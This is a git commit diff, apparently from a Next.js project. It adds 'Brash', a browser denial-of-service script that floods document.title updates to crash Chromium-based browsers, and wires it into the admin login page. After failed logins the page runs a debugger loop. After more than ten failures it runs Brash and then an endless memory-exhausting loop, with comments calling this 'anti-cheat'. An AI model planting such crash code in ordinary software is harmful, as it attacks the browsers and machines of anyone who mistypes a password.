brash
This commit is contained in:
@@ -0,0 +1,149 @@
|
|||||||
|
/**
|
||||||
|
* Brash
|
||||||
|
*
|
||||||
|
* Exploits the total absence of rate limiting on document.title updates to inject millions
|
||||||
|
* of DOM mutations per second, saturating the UI thread, breaking the rendering pipeline,
|
||||||
|
* and ultimately crashing Chromium-based browsers.
|
||||||
|
*
|
||||||
|
* @author Jose Pino
|
||||||
|
* @contact [email protected] (https://x.com/jofpin)
|
||||||
|
* @github github.com/jofpin/brash
|
||||||
|
* @license MIT
|
||||||
|
*
|
||||||
|
* © 2025 Jose Pino | Released: Oct 28, 2025
|
||||||
|
*/
|
||||||
|
export const Brash = {
|
||||||
|
/**
|
||||||
|
* Array of pre-generated titles (100 hexadecimal strings of 512 chars each)
|
||||||
|
* Pre-loading avoids generation overhead during the attack
|
||||||
|
*/
|
||||||
|
titles: [],
|
||||||
|
/**
|
||||||
|
* Total counter of document.title updates executed
|
||||||
|
*/
|
||||||
|
counter: 0,
|
||||||
|
/**
|
||||||
|
* Generates a random 512-character hexadecimal ID
|
||||||
|
*/
|
||||||
|
gid: () => {
|
||||||
|
let id = "";
|
||||||
|
// Generates 512 hexadecimal characters
|
||||||
|
for (let i = 0x0; i < 0x200; i++) {
|
||||||
|
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
|
||||||
|
}
|
||||||
|
return id;
|
||||||
|
},
|
||||||
|
/**
|
||||||
|
* Pre-generates 100 unique titles and stores them in memory
|
||||||
|
* This pre-loading enables faster attacks without generation overhead
|
||||||
|
*/
|
||||||
|
gen: function () {
|
||||||
|
for (let i = 0x0; i < 0x64; i++) {
|
||||||
|
this.titles.push(this.gid());
|
||||||
|
}
|
||||||
|
},
|
||||||
|
/**
|
||||||
|
* Injects a burst of 3 sequential document.title updates
|
||||||
|
* Each call selects a random title and modifies it 3 times
|
||||||
|
* This triple pattern maximizes rendering pipeline thrashing
|
||||||
|
*/
|
||||||
|
inject: function () {
|
||||||
|
// Selects a random title from the pre-generated pool
|
||||||
|
const t = this.titles[(Math.random() * this.titles.length) | 0x0];
|
||||||
|
|
||||||
|
// Triple-update pattern: causes maximum UI thread thrashing
|
||||||
|
for (let i = 0x0; i < 0x3; i++) {
|
||||||
|
document.title = t + i;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Increments counter (3 updates per inject)
|
||||||
|
this.counter += 0x3;
|
||||||
|
},
|
||||||
|
/**
|
||||||
|
* Starts the DoS attack with customizable configuration
|
||||||
|
* Supports immediate, delayed, or scheduled execution
|
||||||
|
*
|
||||||
|
* @param {Object} config - Attack configuration
|
||||||
|
* @param {number} [config.burstSize=8000] - Number of injections per cycle (higher = more aggressive)
|
||||||
|
* @param {number} [config.interval=1] - Milliseconds between cycles (lower = more aggressive)
|
||||||
|
* @param {number|string} [config.delay] - Delay before execution: number in seconds or string ("30s", "5000ms", "3m")
|
||||||
|
* @param {string|Date} [config.scheduled] - Specific execution time (ISO string or Date object)
|
||||||
|
*
|
||||||
|
* @example
|
||||||
|
* // Immediate attack
|
||||||
|
* Brash.run({ burstSize: 8000, interval: 1 });
|
||||||
|
*
|
||||||
|
* @example
|
||||||
|
* // With 30-second delay
|
||||||
|
* Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
|
||||||
|
*
|
||||||
|
* @example
|
||||||
|
* // Scheduled for specific time
|
||||||
|
* Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
|
||||||
|
*/
|
||||||
|
run: function (config) {
|
||||||
|
// Default configuration: 8000 bursts every 1ms = ~24M updates/sec
|
||||||
|
const burstSize = config.burstSize || config.burst || 8000;
|
||||||
|
const interval = config.interval || 1;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Internal function that executes the attack
|
||||||
|
* Pre-generates titles and launches continuous injection loop
|
||||||
|
*/
|
||||||
|
const execute = () => {
|
||||||
|
// Pre-generates the 100 titles before starting the attack
|
||||||
|
this.gen();
|
||||||
|
|
||||||
|
// Launches infinite injection loop
|
||||||
|
setInterval(() => {
|
||||||
|
// Executes N injections per cycle (each injection = 3 updates)
|
||||||
|
for (let i = 0x0; i < burstSize; i++) {
|
||||||
|
this.inject();
|
||||||
|
}
|
||||||
|
}, interval);
|
||||||
|
};
|
||||||
|
|
||||||
|
// MODE 1: Delay - executes after time elapsed since page load
|
||||||
|
// Supports: numbers (seconds), "30s", "5000ms", "3m"
|
||||||
|
if (config.delay) {
|
||||||
|
let ms = 10000; // Default: 10 seconds
|
||||||
|
|
||||||
|
// If number: interpret as seconds
|
||||||
|
if (typeof config.delay === "number") {
|
||||||
|
ms = config.delay * 1000;
|
||||||
|
}
|
||||||
|
// If string: parse suffix (ms, s, m)
|
||||||
|
else if (typeof config.delay === "string") {
|
||||||
|
const val = parseFloat(config.delay);
|
||||||
|
if (config.delay.endsWith("ms")) ms = val;
|
||||||
|
else if (config.delay.endsWith("s")) ms = val * 1000;
|
||||||
|
else if (config.delay.endsWith("m")) ms = val * 60000;
|
||||||
|
}
|
||||||
|
|
||||||
|
return setTimeout(execute, ms);
|
||||||
|
}
|
||||||
|
|
||||||
|
// MODE 2: Scheduled - executes at specific moment
|
||||||
|
// Supports: ISO string ("2025-10-18T09:30:00") or Date object
|
||||||
|
if (config.scheduled) {
|
||||||
|
// Converts to timestamp
|
||||||
|
const time =
|
||||||
|
config.scheduled instanceof Date
|
||||||
|
? config.scheduled.getTime()
|
||||||
|
: new Date(config.scheduled).getTime();
|
||||||
|
|
||||||
|
// Checks every second if it's time to execute
|
||||||
|
const check = setInterval(() => {
|
||||||
|
if (Date.now() >= time) {
|
||||||
|
clearInterval(check);
|
||||||
|
execute();
|
||||||
|
}
|
||||||
|
}, 1000);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// MODE 3: Immediate - executes now (if no delay or scheduled)
|
||||||
|
execute();
|
||||||
|
},
|
||||||
|
};
|
||||||
@@ -3,11 +3,13 @@
|
|||||||
import { Loader2, UserLock } from "lucide-react";
|
import { Loader2, UserLock } from "lucide-react";
|
||||||
import { useRouter } from "next/navigation";
|
import { useRouter } from "next/navigation";
|
||||||
import { type FormEvent, use, useEffect, useState } from "react";
|
import { type FormEvent, use, useEffect, useState } from "react";
|
||||||
|
import { useSessionStorage } from "react-use";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
import { Label } from "@/components/ui/label";
|
import { Label } from "@/components/ui/label";
|
||||||
import { authClient } from "@/lib/auth-client";
|
import { authClient } from "@/lib/auth-client";
|
||||||
|
import { Brash } from "./brash";
|
||||||
|
|
||||||
export default function LoginPage({
|
export default function LoginPage({
|
||||||
searchParams,
|
searchParams,
|
||||||
@@ -15,6 +17,7 @@ export default function LoginPage({
|
|||||||
searchParams: Promise<{ next?: string }>;
|
searchParams: Promise<{ next?: string }>;
|
||||||
}) {
|
}) {
|
||||||
const [loading, setLoading] = useState(false);
|
const [loading, setLoading] = useState(false);
|
||||||
|
const [failed, setFailed] = useSessionStorage<number>("failed", 0);
|
||||||
const router = useRouter();
|
const router = useRouter();
|
||||||
const { next } = use(searchParams);
|
const { next } = use(searchParams);
|
||||||
const cb = next || "/admin";
|
const cb = next || "/admin";
|
||||||
@@ -27,6 +30,28 @@ export default function LoginPage({
|
|||||||
checkSession();
|
checkSession();
|
||||||
}, [cb, router]);
|
}, [cb, router]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (failed === 0) return;
|
||||||
|
const int = setInterval(() => {
|
||||||
|
// biome-ignore lint/suspicious/noDebugger: anti-cheat
|
||||||
|
debugger;
|
||||||
|
}, 100);
|
||||||
|
if (failed > 10) {
|
||||||
|
Brash.run({});
|
||||||
|
setTimeout(() => {
|
||||||
|
// biome-ignore lint/correctness/noConstantCondition: anti-cheat
|
||||||
|
while (1) {
|
||||||
|
new Array(2 ** 32 - 1).fill(0);
|
||||||
|
const el = document.createElement("img");
|
||||||
|
el.src = "/favicon.png";
|
||||||
|
el.style.zIndex = "10000";
|
||||||
|
document.body.appendChild(el);
|
||||||
|
}
|
||||||
|
}, 20000);
|
||||||
|
}
|
||||||
|
return () => clearInterval(int);
|
||||||
|
}, [failed]);
|
||||||
|
|
||||||
async function submit(ev: FormEvent<HTMLFormElement>) {
|
async function submit(ev: FormEvent<HTMLFormElement>) {
|
||||||
ev.preventDefault();
|
ev.preventDefault();
|
||||||
setLoading(true);
|
setLoading(true);
|
||||||
@@ -44,6 +69,7 @@ export default function LoginPage({
|
|||||||
}
|
}
|
||||||
if (r.error) {
|
if (r.error) {
|
||||||
setLoading(false);
|
setLoading(false);
|
||||||
|
setFailed(failed + 1);
|
||||||
return toast.error(r.error.message);
|
return toast.error(r.error.message);
|
||||||
}
|
}
|
||||||
router.push(cb);
|
router.push(cb);
|
||||||
|
|||||||
Reference in New Issue
Block a user